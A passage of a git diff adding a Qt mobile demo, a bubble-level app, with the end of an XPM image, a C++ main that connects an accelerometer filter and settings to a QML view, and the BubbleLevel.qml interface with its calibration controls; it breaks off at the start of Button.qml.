+":) c #BB7D3F",
+"<) c #BA7C3F",
+"[) c #B97C3B",
+"}) c #B67937",
+"|) c #B37636",
+"1) c #B5773A",
+"2) c #AD6F34",
+"3) c #A96B32",
+"4) c #A4662E",
+"5) c #986132",
+"6) c #A16E42",
+"7) c #A06C41",
+"8) c #583012",
+"9) c #633515",
+"0) c #76401E",
+"a) c #8C4E26",
+"b) c #9A5A2A",
+"c) c #AE6F37",
+"d) c #B3763A",
+"e) c #AC7C34",
+"f) c #B18038",
+"g) c #B17D37",
+"h) c #AD7630",
+"i) c #AA722C",
+"j) c #A8702A",
+"k) c #A96D2B",
+"l) c #AF6E35",
+"m) c #B37339",
+"n) c #B6753C",
+"o) c #B9793E",
+"p) c #BB7A42",
+"q) c #BD7F44",
+"r) c #BD8445",
+"s) c #C3884A",
+"t) c #C48A4B",
+"u) c #C58B4C",
+"v) c #C78C4E",
+"w) c #CA8F53",
+"x) c #C98E52",
+"y) c #C78C50",
+"z) c #C68B4F",
+"A) c #C58A4E",
+"B) c #C8884D",
+"C) c #C5854A",
+"D) c #C28248",
+"E) c #C07E45",
+"F) c #BE7D43",
+"G) c #BB7A40",
+"H) c #BE7E45",
+"I) c #C0854C",
+"J) c #C2874C",
+"K) c #C08648",
+"L) c #C28849",
+"M) c #C18745",
+"N) c #BC823F",
+"O) c #BD803F",
+"P) c #BB7E3D",
+"Q) c #B77A3A",
+"R) c #B87B3B",
+"S) c #B67939",
+"T) c #B57837",
+"U) c #B47739",
+"V) c #BA7C40",
+"W) c #B97A42",
+"X) c #B0723B",
+"Y) c #955621",
+"Z) c #824C21",
+"`) c #814F27",
+" ! c #835129",
+".! c #5F3210",
+"+! c #6E3D19",
+"@! c #804722",
+"#! c #905128",
+"$! c #945626",
+"%! c #A16530",
+"&! c #A76E36",
+"*! c #B57B3D",
+"=! c #BD8243",
+"-! c #BD8042",
+";! c #BE7D40",
+">! c #C07E41",
+",! c #C47F43",
+"'! c #C57F45",
+")! c #C17D47",
+"!! c #C17F48",
+"~! c #C07D46",
+"{! c #BF7D46",
+"]! c #BC7943",
+"^! c #B8753F",
+"/! c #AE7535",
+"(! c #AF7535",
+"_! c #B17737",
+":! c #B37939",
+"<! c #AF7635",
+"[! c #A76D2D",
+"}! c #A66C2E",
+"|! c #A66B2F",
+"1! c #A3682C",
+"2! c #A06529",
+"3! c #A4692D",
+"4! c #A96E32",
+"5! c #A76C30",
+"6! c #A86C31",
+"7! c #A3672B",
+"8! c #A2662A",
+"9! c #A16528",
+"0! c #A16529",
+"a! c #A66A2E",
+"b! c #A76C31",
+"c! c #AD7335",
+"d! c #B07636",
+"e! c #B07734",
+"f! c #AE7530",
+"g! c #AD732E",
+"h! c #AF722E",
+"i! c #AA6E2A",
+"j! c #A76A27",
+"k! c #AA6D2A",
+"l! c #A86B2A",
+"m! c #AB6D2F",
+"n! c #A6682D",
+"o! c #A06229",
+"p! c #A66731",
+"q! c #A96A35",
+"r! c #A96A37",
+"s! c #9D6237",
+"t! c #7F451D",
+"u! c #7F451C",
+"v! c #9B693F",
+"w! c #A36E43",
+"x! c #9C6136",
+"y! c #9F6234",
+"z! c #9C5F2F",
+"A! c #8C5521",
+"B! c #AA7640",
+"C! c #AF743F",
+"D! c #A86A36",
+"E! c #A2632E",
+"F! c #A2602D",
+"G! c #A6612E",
+"H! c #A6602D",
+"I! c #A25B27",
+"J! c #A15E20",
+"K! c #A05D1E",
+"L! c #A36121",
+"M! c #A25F20",
+"N! c #9D5B1C",
+"O! c #A26021",
+"P! c #AC6D2D",
+"Q! c #B17836",
+"R! c #B87F3C",
+"S! c #BB823F",
+"T! c #BE8543",
+"U! c #BE8542",
+"V! c #C08744",
+"W! c #C28749",
+"X! c #C3884D",
+"Y! c #CB9054",
+"Z! c #CC9155",
+"`! c #CE9357",
+" ~ c #CB9457",
+".~ c #CA9356",
+"+~ c #C89153",
+"@~ c #C48D4F",
+"#~ c #C48D50",
+"$~ c #C1894C",
+"%~ c #BC8244",
+"&~ c #BF8545",
+"*~ c #BA803E",
+"=~ c #B57C37",
+"-~ c #B67D36",
+";~ c #B87F38",
+">~ c #BA7E38",
+",~ c #B97D37",
+"'~ c #B57933",
+")~ c #B67A34",
+"!~ c #BD813B",
+"~~ c #C1853F",
+"{~ c #C18443",
+"]~ c #C6884D",
+"^~ c #CB8D52",
+"/~ c #CD8E56",
+"(~ c #CD8E58",
+"_~ c #C0814D",
+":~ c #AA6B39",
+"<~ c #925222",
+"[~ c #8A481A",
+"}~ c #8E4C1D",
+"|~ c #AE7243",
+"1~ c #AC6F3F",
+"2~ c #9C5D2B",
+"3~ c #B27341",
+"4~ c #B37745",
+"5~ c #7F4717",
+"6~ c #996333",
+"7~ c #B48046",
+"8~ c #BC864C",
+"9~ c #BE864C",
+"0~ c #C0874D",
+"a~ c #C1874E",
+"b~ c #BF864D",
+"c~ c #C0844A",
+"d~ c #BD813F",
+"e~ c #BA7D3C",
+"f~ c #BB7F3D",
+"g~ c #BC803E",
+"h~ c #C38644",
+"i~ c #C38A49",
+"j~ c #C48F4D",
+"k~ c #C99353",
+"l~ c #CD9656",
+"m~ c #CD9756",
+"n~ c #C48E4E",
+"o~ c #B98342",
+"p~ c #B78045",
+"q~ c #BA8149",
+"r~ c #B9834B",
+"s~ c #B37D47",
+"t~ c #AE7942",
+"u~ c #AC7741",
+"v~ c #AB7943",
+"w~ c #AC7A44",
+"x~ c #AC7942",
+"y~ c #AA7842",
+"z~ c #A97641",
+"A~ c #AC7944",
+"B~ c #A97640",
+"C~ c #A7713B",
+"D~ c #A9733C",
+"E~ c #BF884F",
+"F~ c #C99356",
+"G~ c #C99553",
+"H~ c #CB9653",
+"I~ c #CB9751",
+"J~ c #CC9351",
+"K~ c #C48D4B",
+"L~ c #C08746",
+"M~ c #C08848",
+"N~ c #C28A4B",
+"O~ c #C38A4C",
+"P~ c #C1884D",
+"Q~ c #BC844E",
+"R~ c #AF7844",
+"S~ c #A46A38",
+"T~ c #9C602E",
+"U~ c #945320",
+"V~ c #97531F",
+"W~ c #A35F26",
+"X~ c #B16B31",
+"Y~ c #B56F34",
+"Z~ c #A86332",
+"`~ c #A6632F",
+" { c #AC6933",
+".{ c #A96933",
+"+{ c #91521F",
+"@{ c #854718",
+"#{ c #8D4F25",
+"${ c #875221",
+"%{ c #85511F",
+"&{ c #84501E",
+"*{ c #8B5625",
+"={ c #925E2D",
+"-{ c #94602E",
+";{ c #8C5826",
+">{ c #895623",
+",{ c #8F5B28",
+"'{ c #8F5C29",
+"){ c #8E5B28",
+"!{ c #8C5725",
+"~{ c #925E2C",
+"{{ c #94612F",
+"]{ c #93602D",
+"^{ c #966331",
+"/{ c #A06E3B",
+"({ c #9E6A38",
+"_{ c #8B5727",
+":{ c #885325",
+"<{ c #845225",
+"[{ c #855428",
+"}{ c #84562B",
+"|{ c #7F532A",
+"1{ c #82562F",
+"2{ c #86562E",
+"3{ c #85542C",
+"4{ c #84532B",
+"5{ c #825129",
+"6{ c #7D4C24",
+"7{ c #77461E",
+"8{ c #6B3912",
+"9{ c #633110",
+"0{ c #653310",
+"a{ c #7B4A22",
+"b{ c #89582C",
+"c{ c #956634",
+"d{ c #9F6F3C",
+"e{ c #9E6F39",
+"f{ c #986A36",
+"g{ c #8A5B28",
+"h{ c #825322",
+"i{ c #865728",
+"j{ c #89592D",
+"k{ c #8C5C30",
+"l{ c #8C5D33",
+"m{ c #8A5D32",
+"n{ c #8A5D34",
+"o{ c #8E5D31",
+"p{ c #9A6232",
+"q{ c #AB6A31",
+"r{ c #B56E2F",
+"s{ c #BC7631",
+"t{ c #BF7B34",
+"u{ c #BF7B35",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+" ",
+". . . . . . + @ # $ % & * = - ; ; > , , ' ) ) ) ) ! ~ { { ] ^ / ( / ^ { { { { { { { { { ( ( ( ( _ : < [ } | 1 2 2 2 . . . . . . ",
+"3 4 4 4 4 4 5 6 7 8 9 0 a b c d d d d d d e e e f g h i j k l m m n o p p p p p p p p p q r m s t u v w x y z A A B 5 4 4 4 4 5 ",
+"C D D D E E F G H I J K L M N O P Q R R R S S S T U V W X Y Z ` ...+.@.@.@.@.@.@.@.@.#.$. .` %.&.*.=.-.;.>.,.'.'.).!.D ~.E E F ",
+"{.].].^././.(._.:.<.[.}.|.1.2.3.4.5.6.6.7.7.7.8.9.0.a.b.c.d.e.f.g.h.i.j.j.j.j.j.j.j.j.j.k.g.l.m.n.o.p.q.r.s.t.u.u.v.w.].].]./.].",
+"x.y.y.y.z.z.A.B.C.D.E.F.G.H.I.J.K.L.M.M.N.N.N.N.N.O.P.Q.R.S.T.U.V.W.X.Y.Y.Y.Y.Y.Y.Y.Y.X.Z.`. +.+++@+#+$+%+&+*+z.z.=+-+y.-+;+z.u.",
+">+,+,+,+'+'+)+!+~+{+]+^+/+(+_+:+<+[+}+}+|+1+2+3+4+3+5+6+7+8+9+0+a+b+c+c+c+c+c+c+c+c+c+c+d+e+f+g+h+i+j+k+l+m+n+'+'+o+p+,+p+o+'+'+",
+"q+q+q+r+s+s+t+u+v+w+x+y+z+A+B+C+D+E+F+G+H+I+I+I+J+K+L+M+N+O+P+Q+R+S+T+T+T+T+T+T+U+V+W+X+Y+Z+`+ @.@+@@@#@$@%@&@t+t+*@=@r+=@*@s+*@",
+"-@;@;@;@;@;@>@,@'@)@!@~@{@]@^@/@(@_@:@<@[@}@|@1@2@3@3@3@3@3@3@4@4@5@6@7@7@7@7@7@8@9@T+0@a@b@c@d@e@f@g@h@n.i@j@!.!.!.!.!.k@l@m@;@",
+"n@o@o@o@o@o@p@q@r@s@t@u@v@w@x@y@z@A@B@C@D@E@F@E@G@G@G@G@G@G@H@I@J@K@L@M@M@M@M@M@L@N@O@P@Q@R@S@T@U@V@W@X@Y@Z@`@ # # # # #.#+#@#p@",
+"##$#$#$#$#$#%#%#&#*#=#-#;#>#,#'#)#!#~#{#]#^#/#/#(#(#(#(#(#(#_#:#<#[#}#|#|#|#|#|#1#2#3#4#5#6#7#8#9#0#a#b#c#d#e#f#f#f#f#f#f#$#$#$#",
+"g#h#h#h#h#h#i#j#k#l#m#n#o#p#q#r#s#t#u#v#w#x#y#z#A#A#A#A#A#A#A#A#A#B#C#C#C#C#C#C#D#E#F#G#H#I#J#K#L#M#N#O#P#Q#R#h#h#h#h#h#h#h#h#S#",
+"T#U#U#U#U#U#U#V#W#X#Y#Z#`# $.$+$@$#$$$%$&$*$=$-$;$;$;$;$;$;$;$;$;$;$;$;$;$;$;$;$>$,$'$)$!$~${$]$^$/$($_$:$<$[$U#U#U#U#U#U#U#U#U#",
+"}$}$}$}$}$}$|$1$2$3$4$5$6$7$8$9$0$a$b$c$d$e$f$g$h$i$j$j$j$j$j$j$j$k$k$k$k$k$k$k$g$l$m$n$o$p$q$r$s$t$u$v$w$x$y$}$}$}$}$}$}$}$}$}$",
+"z$A$z$z$z$z$A$B$C$D$E$F$G$H$I$J$K$L$M$N$O$P$Q$R$S$T$U$V$W$W$W$W$W$X$Y$Z$`$ %.%+%@%#%$%%%&%*%=%-%;%>%,%'%)%!%~%z$z$z$z$z$z$z$A${%",
+"]%^%^%^%^%^%/%(%_%:%<%[%}%|%1%2%3%4%5%6%7%8%9%0%a%b%c%c%d%d%d%d%d%c%e%f%g%h%i%j%k%l%m%n%6%o%p%q%r%s%t%u%v%w%x%^%^%^%^%^%^%^%^%^%",
+"y%y%y%y%y%y%y%z%A%B%C%D%E%F%G%H%I%J%K%L%M%N%O%P%Q%R%S%T%U%U%U%U%U%U%V%W%X%Y%Z%`% &.&+&@&#&$&%&&&*&=&-&;&>&,&'&y%y%y%y%y%y%y%)&F%",
+"!&!&!&!&!&!&~&{&]&^&/&(&_&:&<&[&}&|&1&2&3&4&5&6&7&8&9&0&a&a&b&c&d&c&e&f&g&h&i&7&j&K$k&l&m&n&o&p&q&r&s&t&u&v&w&!&!&!&!&!&!&!&!&x&",
+"y&z&z&z&z&z&A&B&C&D&E&F&G&H&I&J&K&L&M&N&O&P&Q&R&S&T&U&V&W&W&W&X&X&X&Y&Z&`& *.*+*R&@*#*$*%*&***=*-*;*>*,*'*)*!*z&z&z&z&z&z&z&z&~*",
+"{*{*{*{*{*{*]*^*/*(*_*:*<*[*}*|*1*{*2*3*4*5*6*7*8*9*0*a*b*b*a*c*|&|&d*e*f*g*h*i*j*k*l*m*n*o*p*q*r*s*t*u*v*w*x*{*{*{*{*{*{*{*{*{*",
+"y*y*y*y*y*y*z*A*B*C*D*E*F*G*H*I*J*K*L*M*N*O*P*Q*R*S*T*U*V*V*W*X*Y*Z*`* =.=+=@=#=$=%=&=*===-=;=>=,='=)=!=~={=]=y*y*y*y*y*y*y*y*^=",
+"/=/=/=/=/=/=(=_=:=<=[=}=|=1=2=/=3=3=3=/=4=5=6=7=8=9=0=a=b=c=d=e=e=e=f=g=h=i=S*j=+*k=l=m=:=n=/=3=_=_=o=p=q=r=s=/=/=/=/=/=/=/=/=/=",
+"|=|=|=|=|=|=|=t=|=u=v=t=w=w=|=|=|=|=|=x=y=z=z=z=A=B=C=9*m*D=E=F=F=V*G=H=e*I=J=K=L=|=|=|=|=|=|=|=|=|=|=|=t=M=N=|=|=|=|=|=|=|=|=|=",
+"O=P=P=P=P=P=P=P=P=w=u=P=N=P=P=P=P=P=P=O=Q=R=r%S=T=U=V=R=W=X=Y=Z=Z=`= -.-+-+-@-#-$-%-u=u=N=P=P=P=P=P=P=P=P=u=P=P=P=P=P=P=P=P=P=P=",
+"v=&-&-&-&-&-&-&-N=N=*-&-*-&-&-&-&-&-&-&-=-Y=X=--;->-,-v='-)-!-~-{-{-{-]-^-~-~-~-)-&-N=&-&-&-&-&-&-&-&-&-&-/-v=&-&-&-&-&-&-&-&-v=",
+"*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-(-_-_-_-_-_-_-:-<-<-<-<-<-<-<-[-[-[-[-[-[-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-",
+"}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-|-|-|-|-|-|-1-1-1-1-1-1-2-|-3-3-3-3-3-|-1-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-}-",
+"4-5-5-5-5-5-6-7-7-7-7-7-7-7-7-7-7-7-7-7-8-8-8-8-8-8-9-0-0-0-0-0-0-8-a-b-b-b-b-b-c-d-7-7-7-7-7-7-7-7-7-7-7-7-d-e-e-4-4-4-f-0-7-0-",
+"g-h-i-j-k-l-l-m-n-n-o-o-o-p-q-r-q-q-q-q-s-t-n-n-n-n-n-u-o-o-u-n-n-n-n-s-s-s-s-s-v-q-r-q-q-w-w-x-o-n-n-n-n-o-y-z-A-B-C-D-E-F-G-H-",
+"I-J-K-L-L-L-M-N-O-O-P-P-P-N-t-n-t-Q-O-O-R-S-S-T-p-U-U-N-P-P-R-O-O-O-O-O-O-O-O-O-N-t-n-t-V-U-U-W-O-O-O-O-O-O-X-Y-Z-`- ;.;+;@;#;$;",
+"%;&;*;=;%;%;-;;;>;>;,;';);!;~;;;~;{;!;!;{;~;~;);];{;^;!;);););/;>;>;>;>;>;>;>;>;(;;;;;;;;;;;;;~;>;>;>;>;>;>;_;:;<;[;};|;|;1;1;2;",
+"3;4;5;6;7;8;9;0;a;a;b;c;d;e;a;f;0;g;h;i;j;k;l;j;m;n;o;p;q;r;s;e;a;t;u;v;v;w;0;b;x;s;y;e;g;z;A;e;A;B;b;C;y;D;E;F;G;H;I;J;K;L;M;N;",
+"O;P;Q;O;R;S;T;U;V;W;X;Y;Z;`; >.>W;+>@>#>$>Z;%>&>%>*>$>@>=>->->;>>>,>'>'>)>!>~>{>]>=>]>*>^>/>$>$>(>`;_>W;:>(><>[>}>|>1>2>3>4>5>6>",
+"7>8>9>0>a>b>b>c>d>e>f>g>h>i>j>k>l>m>n>g>o>p>i>q>g>r>i>g>s>t>u>n>v>w>x>x>y>z>A>B>C>D>g>E>C>F>G>H>g>g>I>p>J>f>K>L>M>N>O>P>Q>R>S>T>",
+"U>V>W>X>I>Y>Z>`> ,.,+,@,#,$,%,&,*,=,-,;,;,>,,,',),!,~,{,],,,^,/,(,_,:,<,[,},|,|,|,1,2,3,4,5,6,7,8,9,0,a,b,c,d,e,f,g,h,i,j,k,l,m,",
+"n,o,p,%,q,r,s,t,u,v,w,x,y,z,A,A,B,C,D,E,F,G,H,I,J,K,L,*,M,N,O,P,Q,_,R,S,T,U,V,F>W,X,Y,Z,`, '/,.'+'@'#'$'%'$'&'*'='-';'>',''')'!'",
+"~'{']'^'/'('_':'<'['}'|'1'2'3'4'5'4'6'7'8'9'0'0'a'b'c'd'e'f'g'P,O,h'i'j'6,Q,k'l'm'n'o'p'q'r's't'u'v'w'v'x'y'z'A'B'C'D'E'F'G'H'I'",
+"J'K'L'M'N'O'P'b>Q'R'E>S'T'U'V'W'X'Y'Z'`' )b,.)+)_,h'O,@)#)h'M,$),,^,%)&)*)=)-);)>),)')))!)~){)])^)/)()_):)<)[)})|)1)2)3)4)5)6)7)",
+"8)9)0)a)b)c)d)e)f)g)h)i)j)k)l)m)m)n)o)p)q)r)t's)t)u)v)w)x)y)y)f'z)A)B)C)D)E)F)G)H)`,I)J)K)L)M)N)O)P)Q)R)R)S)T)|)U)V)W)X)Y)Z)`) !",
+".!+!@!#!$!%!&!*!=!-!;!>!,!'!)!!!~!{!]!^!=)/!(!_!:!<![!}!|!1!2!3!4!5!',6!7!8!9!0!a!b!5!c!d!e!f!g!h!i!i!j!k!k!l!m!n!o!p!q!r!s!t!u!",
+"v!w!x!y!z!A!B!C!D!E!F!G!H!I!J!K!L!M!N!O!P!Q!R!S!T!U!V!W!X!e'x)Y!Z!`! ~.~+~@~c>#~$~h'%~&~*~=~-~;~>~,~'~)~!~~~{~]~^~/~(~_~:~<~[~}~",
+"|~1~2~3~4~5~6~7~8~9~0~a~b~c~d~e~f~='g~h~i~j~k~l~m~n~o~p~q~r~r~s~t~u~v~w~x~y~z~A~B~C~D~E~F~G~H~I~J~K~L~M~N~O~P~Q~R~S~T~U~V~W~X~Y~",
+"Z~`~ {.{+{@{#{${%{&{*{={-{;{>{,{'{){!{;{~{{{]{^{/{({~{_{:{<{[{}{|{1{2{3{4{5{6{7{8{9{0{a{b{c{d{e{f{g{h{i{j{k{l{m{n{o{p{q{r{s{t{u{"};
diff --git a/demos/mobile/qtbubblelevel/main.cpp b/demos/mobile/qtbubblelevel/main.cpp
new file mode 100644
index 00000000..df1393dd
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/main.cpp
@@ -0,0 +1,135 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative>
+#include <QtGui>
+#include <QAccelerometer>
+
+#include "accelerometerfilter.h"
+#include "settings.h"
+#include "taskswitcher.h"
+
+// Lock orientation in Symbian
+#ifdef Q_OS_SYMBIAN
+ #include <eikenv.h>
+ #include <eikappui.h>
+ #include <aknenv.h>
+ #include <aknappui.h>
+#endif
+
+QTM_USE_NAMESPACE
+
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+#ifdef Q_OS_SYMBIAN
+ // Lock orientation to landscape in Symbian
+ CAknAppUi* appUi = dynamic_cast<CAknAppUi*> (CEikonEnv::Static()->AppUi());
+ TRAP_IGNORE(
+ if (appUi)
+ appUi->SetOrientationL(CAknAppUi::EAppUiOrientationLandscape);
+ )
+#endif
+
+ //! [0]
+ QDeclarativeView view;
+ view.setSource(QUrl("qrc:/qml/BubbleLevel.qml"));
+ view.setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ //! [0]
+
+ // ![1]
+ Settings settings;
+
+ QAccelerometer sensor;
+ AccelerometerFilter filter;
+ sensor.addFilter(&filter);
+ //! [1]
+
+ //! [2]
+ QObject *rootObject = dynamic_cast<QObject*>(view.rootObject());
+
+ // Associate Qt / QML signals and slots
+ QObject::connect(rootObject, SIGNAL(saveCorrectionAngle(const QVariant&)),
+ &settings, SLOT(saveCorrectionAngle(const QVariant&)));
+
+ QObject::connect(&filter, SIGNAL(rotationChanged(const QVariant&)),
+ rootObject, SLOT(handleRotation(const QVariant&)));
+
+ QObject::connect(&settings, SIGNAL(correctionAngle(const QVariant&)),
+ rootObject, SLOT(setCorrectionAngle(const QVariant&)));
+
+ QObject::connect((QObject*)view.engine(), SIGNAL(quit()),
+ &app, SLOT(quit()));
+ //! [2]
+
+ //! [3]
+#ifdef Q_WS_MAEMO_5
+ TaskSwitcher taskSwitcher;
+
+ QObject::connect(rootObject, SIGNAL(minimizeApplication()),
+ &taskSwitcher, SLOT(minimizeApplication()));
+
+ // Show the task switcher button
+ rootObject->setProperty("taskSwitcherVisible", true);
+#endif
+ //! [3]
+
+ //! [4]
+ // Read correction factor from permanent storage and emit it to QML side
+ settings.loadAndEmitCorrectionAngle();
+
+ // Begin measuring of the accelerometer sensor
+ sensor.start();
+ //! [4]
+
+ //! [5]
+#if defined(Q_WS_MAEMO_5) || defined(Q_OS_SYMBIAN) || defined(Q_WS_SIMULATOR)
+ view.setGeometry(QApplication::desktop()->screenGeometry());
+ view.showFullScreen();
+#else
+ view.setGeometry((QRect(100, 100, 800, 480)));
+ view.show();
+#endif
+ //! [5]
+
+ return app.exec();
+}
diff --git a/demos/mobile/qtbubblelevel/qml/BubbleLevel.qml b/demos/mobile/qtbubblelevel/qml/BubbleLevel.qml
new file mode 100644
index 00000000..7041ba60
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/qml/BubbleLevel.qml
@@ -0,0 +1,225 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: bubbleLevel
+
+ //! [0]
+ // Signaled when task switcher button is pressed
+ signal minimizeApplication()
+
+ // Signaled when correction angle is saved
+ signal saveCorrectionAngle(variant angle)
+
+ // These functions are used as Qt slots
+ function handleRotation(deg) {
+ horTube.rawangle = deg
+ }
+
+ function setCorrectionAngle(deg) {
+ horTube.angleconstant = deg
+ }
+
+ // Used to show the task switcher button in Maemo targets
+ property alias taskSwitcherVisible: taskSwitcher.visible
+ //! [0]
+
+ anchors.fill: parent
+ source: "images/board.png"
+ smooth: true
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: sign.frontSide = true
+ }
+
+ Button {
+ id: taskSwitcher
+
+ anchors {
+ left: parent.left
+ right: horTube.left
+ verticalCenter: horTube.verticalCenter
+ margins: (parent.width - (horTube.x + horTube.width)) / 4
+ }
+
+ height: width
+ source: "images/taskswitcher.png"
+ mouseAreaScale: 2
+ onClicked: bubbleLevel.minimizeApplication()
+ visible: false
+ }
+
+ Button {
+ id: exitButton
+
+ anchors {
+ left: horTube.right
+ right: parent.right
+ verticalCenter: horTube.verticalCenter
+ margins: (parent.width - (horTube.x + horTube.width)) / 4
+ }
+
+ height: width
+ source: "images/exit.png"
+ mouseAreaScale: 2
+ onClicked: Qt.quit()
+ }
+
+ //! [1]
+ Tube {
+ id: horTube
+
+ property real rawangle: 0
+ property real angleconstant: 0
+
+ anchors.horizontalCenter: parent.horizontalCenter
+ width: parent.width * 0.775; height: parent.height * 0.15625
+ deg: rawangle - angleconstant
+ }
+ //! [1]
+
+ Flipable {
+ id: sign
+
+ property bool frontSide: true
+
+ x: parent.width * 0.185; y: parent.height * 0.669
+ width: parent.width * 0.63; height: parent.height * 0.258
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: sign.frontSide = !sign.frontSide
+ z: -1
+ }
+
+ transform: Rotation {
+
+ origin.x: sign.width / 2; origin.y: sign.height / 2
+ axis.x: 1; axis.y: 0; axis.z: 0
+ angle: sign.frontSide ? 0 : 180
+
+ Behavior on angle {
+ RotationAnimation {
+ direction: RotationAnimation.Clockwise
+ easing.type: Easing.InOutCubic; duration: 300
+ }
+ }
+ }
+
+ front: Image {
+ anchors.fill: parent
+ source: "images/signwithtext.png"
+ smooth: true
+ }
+
+ back: Image {
+ anchors.fill: parent
+ source: "images/signblank.png"
+ smooth: true
+
+ Text {
+ id: oldValue
+
+ anchors {
+ left: parent.left; leftMargin: parent.width * 0.10
+ right: saveButton.left; rightMargin: 10
+ verticalCenter: parent.verticalCenter
+ }
+
+ text: "Place the device on a level surface and tap Calibrate."
+ color: "#302020"
+ wrapMode: Text.WordWrap
+ font { bold: false; pixelSize: Math.min(parent.width, parent.height) * 0.19 }
+ }
+
+ Button {
+ id: saveButton
+
+ anchors {
+ right: parent.right; rightMargin: parent.width * 0.09
+ verticalCenter: parent.verticalCenter
+ }
+
+ width: parent.width * 0.25; height: parent.height * 0.65
+ border { width: 2; color: "#555555" }
+ radius: 10
+
+ onClicked: {
+ horTube.angleconstant = horTube.rawangle
+ saveCorrectionAngle(horTube.angleconstant)
+ }
+
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#999999" }
+ GradientStop { position: 0.2; color: "#BBBBBB" }
+ GradientStop { position: 0.8; color: "#BBBBBB" }
+ GradientStop { position: 1.0; color: "#999999" }
+ }
+
+ Text {
+ anchors.centerIn: parent
+ color: "#302020"
+ text: "Calibrate"
+ font { bold: true; pixelSize: parent.width * 0.15 }
+ smooth: true
+ }
+ }
+ }
+ }
+
+ Button {
+ anchors {
+ left: sign.right
+ right: parent.right
+ verticalCenter: sign.verticalCenter
+ margins: (parent.width - (sign.x + sign.width)) / 4
+ }
+
+ height: width
+ source: "images/calibbutton.png"
+ mouseAreaScale: 2
+ smooth: true
+
+ onClicked: sign.frontSide = !sign.frontSide
+ }
+}
diff --git a/demos/mobile/qtbubblelevel/qml/Button.qml b/demos/mobile/qtbubblelevel/qml/Button.qml
new file mode 100644
index 00000000..12d1a377
--- /dev/null
